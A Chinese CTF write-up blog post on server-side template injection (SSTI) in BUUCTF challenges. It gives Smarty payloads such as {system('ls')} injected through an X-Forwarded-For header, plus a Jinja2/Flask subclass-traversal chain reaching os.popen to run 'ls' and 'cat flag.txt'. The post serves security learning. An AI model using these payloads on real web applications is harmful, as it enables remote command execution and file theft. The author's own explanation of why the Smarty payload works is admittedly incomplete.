BUUCTF刷题十一道(12)附-SSTI专题二

文章目录

学习文章

SSTI-服务端模板注入漏洞
flask之ssti模板注入从零到入门
CTFSHOW SSTI篇-yu22x
SSTI模板注入绕过(进阶篇)-yu22x
SSTI模板注入学习-竹言笙熙

全部总结看最后一篇

CISCN2019 华东南赛区Web11【存疑】

Smarty 模板注入与沙箱逃逸-长亭科技

发现能显示ip地址,没有其他传参的地方,应该在xff头

自定义xff头,尝试模板注入

但是构造获取类会出错

又查了查,有特性

python 复制代码
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令

Smarty 是一个用于 PHP 的模板引擎,它允许开发者将动态生成的内容与静态 HTML 分离,以提高代码的可维护性和可读性。在 Smarty 模板中,通常不直接执行 PHP 代码,而是使用 Smarty 提供的一些特定的语法和功能来代替。

Smarty 模板中执行 PHP 语句的一种常见方式是使用 {php} 标签。但是需要注意的是,从 Smarty3 开始,{php} 标签已经被废弃,并不建议使用,因为它会导致模板与业务逻辑的耦合度增加,降低模板的可维护性。

smarty 复制代码
{php}
    // PHP 代码
    $name = 'John';
    echo "Hello, $name!";
{/php}

看了很多篇博客没说清楚为什么直接能{system('ls')}命令执行,所以请看文章开头长亭的smarty模板注入原理

漏洞产生语句类似

php 复制代码
$smarty->display("string:". $name);

{$smarty.version}返回smarty版本

好吧我还是没看懂为什么{phpinfo()}能执行


RootersCTF2019I_❤️_Flask

页面卡,翻一下快一点

git clone https://github.com/s0md3v/Arjun

工具可扫到name参数

尝试name参数处ssti


python 复制代码
# 查看基类类
?name={{().__class__.__base__}}
# 查看子类
{{().__class__.__base__.__subclasses__()}}

# 寻找os

# 触发连招

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

# 读取flag.txt
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag.txt').read()}}


相关推荐
里欧跑得慢8 小时前
Flutter 像素级还原:设计稿到代码的视觉无损转换技巧
前端·css·flutter·web
深念Y2 天前
# CC-Switch + Claude/Codex 折腾教训记录
运维·服务器·网络·ai·agent·web·ccsiwtch
钛态2 天前
Vite 中的 CSS 工程化:从 CSS Modules 到 UnoCSS 的渐进式迁移
前端·vue·react·web
QYRdata4 天前
18.3%年复合增长率!2026-2032年Web应用与API安全领域,增长态势领跑行业
安全·web
Sagittarius_A*5 天前
Burst Lab | PHP 审计 14|反序列化(四):字符串逃逸与绕过技巧
开发语言·安全·php·web·反序列化
慧都小项5 天前
夜间Web回归跑到一半停了?TestComplete 15.83提升批量测试稳定性
前端·测试工具·数据挖掘·回归·汽车·web
山甫aa6 天前
日志技术 Logback + Slf4j —— 从零开始的 Web 后端学习
java·后端·学习·web·logback
Sagittarius_A*7 天前
【好靶场】PHP反序列化入门练习
安全·php·web·反序列化
山甫aa7 天前
JavaWeb后端开发学习手册
java·开发语言·数据库·学习·mysql·springboot·web
里欧跑得慢8 天前
CSS 模块化架构的演进:BEM、CSS Modules 到 CSS-in-JS 的反思
前端·css·flutter·web·css-in-js